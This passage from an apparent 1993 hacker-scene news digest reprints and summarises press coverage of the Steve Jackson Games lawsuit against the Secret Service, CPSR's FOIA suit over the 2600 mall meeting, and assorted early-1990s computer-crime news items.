the Electronic Communications Privacy Act," said Pete Kennedy, attorney for
Steve Jackson Games, an Austin game company that brought the lawsuit.

Mark W. Batten, attorney for the Department of Justice, which is defending the
Secret Service, declined to comment on the proceedings.

Steve Jackson's company, which publishes fantasy role-playing games -- not
computer games -- was raided by the Secret Service on March 1, 1990, during a
nationwide sweep of suspected criminal  computer hackers.

Agents seized several computers and related hardware from the company and from
the Austin home of Steve Jackson employee Loyd Blankenship.  Taken from the
game publisher was an electronic bulletin board used to play-test games before
they were printed and exchange electronic mail with customers and free-lance
writers.

Another seized computer contained the text of the company's work in progress,
GURPS Cyberpunk, which was being prepared for the printers.

Blankenship's purported membership in the Legion of Doom -- a group of computer
hackers from Austin, Houston and New York -- led the Secret Service to Steve
Jackson's door.

Neither Jackson nor his company was suspected of wrongdoing.

The game publisher is named in two paragraphs of the 42-paragraph affidavit
requesting the 1990 search warrant, which targeted Blankenship -- a fact
Kennedy cited in seeking summary judgment.

Kennedy presented evidence that the original Secret Service affidavit for the
warrant used to raid Steve Jackson Games contained false statements.
Supporting documentation showed that Bellcore expert Henry Kluepfel disputes
statements attributed to him that accounted for the only link between Steve
Jackson Games and the suspicion Blankenship was engaged in illegal activity.

Batten came away visibly shaken from questioning by Sparks, and later had a
tense exchange with Kennedy outside the courtroom.

The lawsuit contends the government violated 1st Amendment principles by
denying the free speech and public assembly of callers to Jackson's bulletin
board system, Illuminati.  This portion of the complaint was brought under the
Privacy Protection Act, which also covers the seized Cyberpunk manuscripts --
if the judge rules that such a book, stored electronically prior to
publication, is entitled to the same protections as a printed work.
The government lawyers argued the Privacy Protection Act applies only to
journalistic organizations -- an argument Sparks didn't seem to buy.

The lawsuit also contends 4th Amendment principles providing against
unreasonable search and seizure were violated, on grounds the Electronic
Communications Privacy Act specifies protection for publishers.

The Justice Department contends electronic mail does not enjoy constitutional
protections.

"They (users of Illuminati) had no expectation of privacy in their electronic
mail messages," Batten said.  The basis of the argument is that Illuminati's
callers were not sending communications to others, but rather "revealing" them
to a third party, Steve Jackson, thus negating their expectation of privacy.
_______________________________________________________________________________

 Computer Case Opens; Agent Admits Errors                      January 27, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Joe Abernathy (The Houston Chronicle)(Page A11)
 *Reprinted With Permission*

AUSTIN -- Plaintiff's attorneys wrested two embarrassing admissions from the
U.S. Secret Service on the opening day of a federal civil lawsuit designed to
establish constitutional protections for electronic publishing and electronic
mail.

Special Agent Timothy Folly of Chicago admitted that crucial statements were
erroneous in an affidavit he used to obtain warrants in a 1990 crackdown on
computer crime.

Foley also conceded that the Secret Service's special training for computer
crime investigators overlooks any mention of a law that limits search-and-
seizure at publishing operations.

The case before U.S. District Judge Sam Sparks was brought by Steve Jackson
Games, an Austin game publisher, with the support of electronic civil rights
activists who contend that federal agents have overstepped constitutional
bounds in their investigations of computer crime.

Jackson supporters already have committed more than $200,000 to the litigation,
which seeks $2 million in damages from the Secret Service and other defendants
in connection with a March 1990 raid on Jackson Games.

Plaintiffs hope to establish that First Amendment protections of the printed
word extend to electronic information and to guarantee privacy protections for
users of computer bulletin board systems, such as one called Illuminati that
was taken in the raid.

Steve Jackson's attorney, Jim George of Austin, focused on those issues in
questioning Foley about the seizure of the personal computer on which
Illuminati ran and another PC which contained the manuscript of a pending
Jackson Games book release, "GURPS Cyberpunk."

"At the Secret Service computer crime school, were you, as the agent in charge
of this investigation, made aware of special rules for searching a publishing
company?"  George asked Foley.  He was referring to the Privacy Protection Act,
which states that police may not seize a work in progress from a publisher.  It
does not specify what physical form such a work must take.

Foley responded that the Secret Service does not teach its agents about those
rules.

Earlier, Foley admitted that his affidavit seeking court approval to raid
Jackson Games contained an error.

During the raid -- one of several dozen staged that day around the country in
an investigation called Operation Sun Devil -- agents were seeking copies of a
document hackers had taken from the computer system of BellSouth.

No criminal charges have been filed against Jackson, his company, or others
targeted in several Austin raids.  The alleged membership of Jackson employee
Loyd Blankenship in the Legion of Doom hacker's group -- which was believed
responsible for the BellSouth break-in -- lead agents to raid Jackson Games at
the same time that Blankenship's Austin home was raided.

Foley's affidavit stated that Bell investigator Henry Kluepfel had logged on to
the Illuminati bulletin board and found possible evidence of a link between
Jackson Games and the Legion of Doom.

But George produced a statement from Kluepfel, who works for Bellcore, formerly
AT&T Bell Labs, disputing statements attributed to him in the affidavit.  Foley
acknowledged that part of the affidavit was erroneous.

The U.S. Department of Justice, which is defending the Secret Service, contends
that only traditional journalistic organizations enjoy the protections of the
Privacy Protection Act and that users of electronic mail have no reasonable
expectation of privacy.
_______________________________________________________________________________

 Judge Rebukes Secret Service For Austin Raid                  January 29, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Joe Abernathy (The Houston Chronicle)(Page A21)
 *Reprinted With Permission*

AUSTIN -- A federal judge lambasted the U.S. Secret Service Thursday for
failing to investigate properly before it seized equipment from three Austin
locations in a 1990 crackdown on computer crime.

U.S. District Judge Sam Sparks' comments came on the final day of trial in a
lawsuit brought by Steve Jackson Games, an Austin publisher, with the support
of national computer rights activists.

The judge did not say when he will issue a formal ruling in the case.  In
addition to seeking $ 2 million in damages from the Secret Service and other
defendants, Jackson hopes to establish privacy and freedom of the press
protections for electronic information.

In a packed courtroom Thursday morning, Sparks dressed down Secret Service
Special Agent Timothy Foley of Chicago, who was in charge of the March 1, 1990,
raid on Jackson, one of his employees and a third Austin man.  No criminal
charges have been filed in connection with the raids.

"The Secret Service didn't do a good job in this case," Sparks said.  "We know
no investigation took place.  Nobody ever gave any concern as to whether
(legal) statutes were involved.  We know there was damage (to Jackson)."

The Secret Service has seized dozens of computers since the nationwide
crackdown began in 1990, but Jackson, a science fiction magazine and game book
publisher, is the first to challenge the practice.  A computer seized at
Jackson Games contained the manuscript for a pending book, and Jackson alleges,
among other things, that the seizure violated the Privacy Protection Act, which
prohibits seizure of publishers' works in progress.

Agents testified that they were not trained in that law at the special Secret
Service school on computer crime.

Sparks grew visibly angry when testimony showed that Jackson never was
suspected of a crime, that agents did no research to establish a criminal
connection between the firm and the suspected illegal activities of an
employee, and that they did not determine that the company was a publisher.

"How long would it have taken you, Mr. Foley, to find out what Steve Jackson
Games  did, what it was? " asked Sparks.  "An hour?

"Was there any reason why, on March 2, you could not return to Steve Jackson
Games a copy, in floppy disk form, of everything taken?

"Did you read the article in Business Week magazine where it had a picture of
Steve Jackson -- a law-abiding, tax-paying citizen -- saying he was a computer
crime suspect?

"Did it ever occur to you, Mr. Foley, that seizing this material could harm
Steve Jackson economically? "

Foley replied, "No, sir," but the judge offered his own answer:

"You actually did; you just had no idea anybody would actually go out and hire
a lawyer and sue you."

The judge's rebuke apparently convinced the government to close its defense
after the testimony from Foley, only one of several government witnesses on
hand.  Justice Department attorney Mark Battan entered subdued testimony
seeking to limit the award of monetary damages.

The judge's comments came after cross-examination of Foley by Pete Kennedy,
Jackson's attorney.

Sparks questioned Foley about the raid, focusing on holes in the search
warrant, why Jackson was not allowed to copy his work in progress after it was
seized, and why his computers were not returned after the Secret Service
analyzed them.

"The examination took seven days, but you didn't give Steve Jackson's computers
back for three months.  Why?" asked Sparks.

"So here you are, with three computers, 300 floppy disks, an owner who was
asking for it back, his attorney calling you, and what I want to know is why
copies of everything couldn't be given back in days.  Not months.  Days.

"That's what makes you mad about this case."

Besides alleging that the seizure violated the Privacy Protection Act, Jackson
alleged that since one of the computers was being used to run a bulletin board
system containing private electronic mail, the seizure violated the Electronic
Communications Privacy Act.

Justice Department attorneys have refused comment on the case, but contended in
court papers that Jackson Games is a manufacturer, and that only journalistic
organizations can call upon the Privacy Protection Act.

The government said that seizure of an electronic bulletin board system does
not constitute interception of electronic mail.

The Electronic Frontier Foundation committed more than $200,000 to the Jackson
suit.  The EFF was founded by Mitchell Kapor of Lotus Technology amid a
computer civil liberties movement sparked in large part by the Secret Service
computer crime crackdown that included the Austin raids.

"The dressing down of the Secret Service for their behavior is a major
vindication of what we've been saying all along, which is that there were
outrageous actions taken against Steve Jackson that hurt his business and sent
a chilling effect to everyone using bulletin boards, and that there were larger
principles at stake," said Kapor, contacted at his Cambridge, Massachusetts
office.

Shari Steele, who attended the trial as counsel for the EFF, said, "We're very
happy with the way the case came out.  That session with the judge and Tim
Foley is what a lawyer dreams about."
_______________________________________________________________________________

 Going Undercover In The Computer Underworld                   January 26, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Ralph Blumenthal (The New York Times)(Page B1)

  [A 36-year old law enforcement officer from the East Coast masquerades
  as "Phrakr Trakr" throughout the nation's computer bulletin boards.
  As the organizer of the High-Tech Crime Network, he has educated other
  officers in over 28 states in the use of computer communications.
  Their goal is to penetrate some 3000 underground bbses where computer
  criminals trade in stolen information, child pornography and bomb
  making instructions.

  "I want to make more cops aware of high-tech crime," he said.  "The
  victims are everybody.  We all end up paying for it."]
_______________________________________________________________________________

 Hackers Breaking Into UC Computers                            January 23, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by T. Christian Miller (The San Francisco Chronicle)(Page A20)

 [According to the University of California, hackers have been breaking
  into the DOD and NASA through UC computer systems.  The investigation
  links over 100 computer hackers who have reportedly penetrated
  computers at UC Davis, UC Berkeley, NYU, FSU, and CSU.  The FBI stated
  that the investigation reached as far as Finland and Czechoslovakia
  but did not comment on any arrests.

  University officials have asked all users to change to more complex
  passwords by April 1.]

_______________________________________________________________________________

 Feds Sued Over Hacker Raid At Mall                            February 5, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Joe Abernathy (The Houston Chronicle)(Page A5)

 [A lawsuit was filed 2-4-93 in the Washington, D.C. federal court to
  force the secret service to disclose its involvement in the disruption
  of a meeting of computer hackers last year.  The meeting, a monthly
  gathering of readers of "2600 Magazine" at the Pentagon City Mall was
  disrupted on November 6, 1992, when mall security and Arlington County
  Police questioned and searched the attendees.

  The suit was filed by the Computer Professionals for Social
  Responsibility.  "If this was a Secret Service operation, it raises
  serious constitutional questions," said Marc Rotenberg, director of
  CPSR.

  The Secret Service declined to comment on the matter.]

----------


[New Info in 2600 Case - from email sent by CPSR]

     One month after being sued under the Freedom of Information
Act (FOIA), the Secret Service has officially acknowledged that
it possesses "information relating to the breakup of a meeting
of individuals at the Pentagon City Mall in Arlington, Virginia."
The admission, contained in a letter to Computer Professionals for
Social Responsibility (CPSR), confirms widespread suspicions that
the agency played a role in the detention and search of
individuals affiliated with "2600" Magazine at the suburban
Washington mall on November 6, 1992.

     CPSR filed suit against the Secret Service on February 4
after the agency failed to respond to the organization's FOIA
request within the statutory time limit.  In its recent response,
the Secret Service released copies of three news clippings
concerning the Pentagon City incident but withheld other
information "because the documents in the requested file contain
information compiled for law enforcement purposes."  While the
agency asserts that it possesses no "documentation created by the
Secret Service chronicling, reporting, or describing the breakup
of the meeting," it does admit to possessing "information provided
to the Secret Service by a confidential source which is
information relating to the breakup of [the] meeting."  Federal
agencies classify other law enforcement agencies and corporate
entities, as well as individuals, as "confidential sources."

     The propriety of the Secret Service's decision to withhold
the material will be determined in CPSR's pending federal lawsuit.
A copy of the agency's letter is reprinted below.

David L. Sobel                               [e-mail]
Legal Counsel                                [phone] (voice)
CPSR Washington Office                       [phone] (fax)

************************************************


                    DEPARTMENT OF THE TREASURY
                   UNITED STATES SECRET SERVICE

                                    MAR 5 1993

                                    920508


David L. Sobel
Legal Counsel
Computer Professionals for
Social Responsibility
666 Pennsylvania Avenue, S.E.
Suite 303
Washington, D.C.  20003

Dear Mr. Sobel:

This is in response to your Freedom of Information Act (FOIA)
request for access to "copies of all records related to the
breakup of a meeting of individuals affiliated with "2600
Magazine" at the Pentagon City Mall in Arlington, Virginia on
November 6, 1992."

Enclosed, please find copies of materials which are responsive to
your request and are being released to you in their entirety.

Other information has been withheld because the documents in the
requested file contain information compiled for law enforcement
purposes.  Pursuant to Title 5, United States Code, Section
552(b)(7)(A); (C); and (D), the information has been exempted
since disclosure could reasonably be expected to interfere with
enforcement proceedings; could reasonably be expected to
constitute an unwarranted invasion of personal privacy to other
persons; and could reasonably be expected to disclose the
identity of a confidential source and/or information furnished by
a confidential source.  The citations of the above exemptions are
not to be construed as the only exemptions that are available
under the Freedom of Information Act.

In regard to this matter it is, however, noted that your FOIA
request is somewhat vague and very broadly written.  Please be
advised, that the information being withheld consists of
information provided to the Secret Service by a confidential
source which is information relating to the breakup of a meeting
of individuals at the Pentagon City Mall in Arlington, Virginia,
and, therefore, appears to be responsive to your request as it
was written. If, however, the information you are seeking is
information concerning the Secret Service's involvement in the
breakup of this meeting, such as any type of documentation
created by the Secret service chronicling, reporting, or
describing the breakup of the meeting, please be advised that no
such information exists.

If you disagree with our determination, you have the right of
administrative appeal within 35 days by writing to Freedom of
Information Appeal, Deputy Director, U. S. Secret Service,
1800 G Street, N.W., Washington, D.C. 20223.  If you choose to
file an administrative appeal, please explain the basis of your
appeal.

                                    Sincerely,

                                    /Sig/
                                    Melvin E. Laska
                                    ATSAIC
                                    Freedom of Information &
                                    Privacy Acts Officer

Enclosure

*******************************************

For more information, refer to Phrack World News, Issue 41/1:

 Reports of "Raid" on 2600 Washington Meeting                  November 9, 1992
 Confusion About Secret Service Role In 2600 Washington Raid   November 7, 1992
 Conflicting Stories In 2600 Raid; CRSR Files FOIA            November 11, 1992
_______________________________________________________________________________

 Surfing Off The Edge                                          February 8, 1993
 ~~~~~~~~~~~~~~~~~~~~
 by Richard Behar (Time Magazine)(Page 62)

 [This article is so full of crap that I cannot even bring myself
   to include a synopsis of it.  Go to the library and read it
   and laugh.]
_______________________________________________________________________________

 Bulgarian Virus Writer, Scourge in the West, Hero at Home     January 29, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by David Briscoe (Associated Press)

 [The Dark Avenger, believed to be a computer programmer in Sophia, has
  drawn the attention of computer crime squads in the US and Europe.  To
  many programmers the Dark Avenger is a computer master to many young
  Bulgarians.  "His work is elegant. ... He helps younger programmers.
  He's a superhero to them," said David Stang director for the
  International Virus Research Center.

  Neither Bulgaria nor the US has laws against the writing of computer
  viruses]
_______________________________________________________________________________

 Computer Security Tips Teach Tots To Take Byte Out Of Crime   February 3, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Michelle Locke (Associated Press)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Young Students Learn Why Computer Hacking Is Illegal         February 4, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Bill Wallace (San Francisco Chronicle)(Page A22)

 [In an attempt to teach computer crime prevention, children in
  kindergarten through third grade in a Berkeley elementary school are
  being shown a 30 minute presentation on ethics and security.

  The program consists of several skits using puppets to show the
  children various scenarios from eating food near computer systems to
  proper password management.

  In one episode, Gooseberry, a naive computer user, has her files
  erased by Dirty Dan, the malicious hacker, when she neglects to log
  off.

  Philip Chapnick, director of the Computer Security Institute in San
  Francisco, praised the idea.  "One of the major issues in information
  security in companies now is awareness.  Starting the kids early ... I
  think it will pay off," said Chapnick.]
_______________________________________________________________________________

Tracking Hackers - Experts Find Source In Adolescence       February 25, 1993
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
By Mike Langberg (Knight-Ridder News Service)

[At the National Computer Security Association convention in San
  Francisco, four experts analyzed the psyche of today's hacker.
  The panel decided that hacker bonding came from a missing or defective
  family.  The panel also decided that hackers weren't necessarily
  geniuses, and that a few weeks of study would be enough to begin.

  Panel member Winn Schwartau stated that there should be an end to
  slap-on-the-wrist penalties.  Sending hackers to jail would send a
  clear message to other hackers, according to Schwartau.

  "What strikes me about hackers is their arrogance," said Michael
  Kabay, computer security consultant from Montreal.  "These people seem
  to feel that their own pleasures or resentments are of supreme
  importance and that normal rules of behavior simply don't apply to
  them."]
_______________________________________________________________________________

 Bomb Recipes Just A Keystroke Away                      January 10, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Tracy Gordon Fox (The Hartford Courant)(Page B1)

 [Teenagers gathering information via computer have contributed greatly
  to the fifty percent increase in the number of homemade explosives
  found last year.

  The computer age has brought the recipes for the explosives to the
  fingertips of anyone with a little computer knowledge and a modem.

  One of the first police officers to discover that computers played a
  part in a recent West Hartford, Connecticut, bombing said that
  hackers were loners, who are socially dysfunctional, excel in
  mathematics and science, and are "over motivated in one area."

  The trend has been seen around the country.  The 958 bombing incidents
  reported nationally to the Bureau of Alcohol, Tobacco and Firearms was
  the highest in 15 years.]
_______________________________________________________________________________

 Hackers Hurt Cellular Industry                                January 25, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by John Eckhouse (The San Francisco Chronicle)(Page C1)

 [With only a little equipment and technical knowledge, telephone
  pirates can make free calls and eavesdrop on cellular conversations.

  "Technically, eavesdroping is possible, but realistically I don't
  think it can be done," said Justin Jasche chief executive of Cellular One.

  The Cellular Telecommunications Industry Association estimates that
  hackers make about $300 million worth of unauthorized calls a year,
  though others put the figure much higher.]

-------------------------------------------------------------------------------

 Cellular Phreaks and Code Dudes                         February 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by John Markoff  (Wired)  (page 60)

 [Two hackers, V.T. and N.M. have discovered that celluar phones are
  really just little computers linked by a gigantic cellular network.
  And like most computers, they are programmable.  The hackers have
  discovered that the OKI 900 has a special mode that will turn it into
  a scanner, enabling them to listen in on other cellular conversations.

  The two also discovered that the software stored in the phones ROM
  takes up roughly 40K, leaving over 20K free to add in other features,
  They speculate on the use of the cellular phone and a computer
  to track users through cell sites, and to monitor and decode
  touchtones of voice mail box codes and credit card numbers.

  Said V.T. of the OKI's programmers, "This phone was clearly built by
  hackers."]

-------------------------------------------------------------------------------

 Callers Invited To Talk Sex, Thanks To Hacker's Prank     February 5, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 (The Vancouver Sun) (Page A-9)

 [For the past two weeks, surprised callers to CTC Payroll Services'
  voice-mail system have been invited to talk sex.  Instead
  of a pleasant, professional salutation, callers hear a man's voice
  suggesting that they engage a variety of intimate activities.

  The prankster is a computer hacker who can re-program the greeting message
  on company telephones.  Company owner Cheryl MacLeod doesn't think the joke
  is very funny and says the hacker is ruining her business.]
_______________________________________________________________________________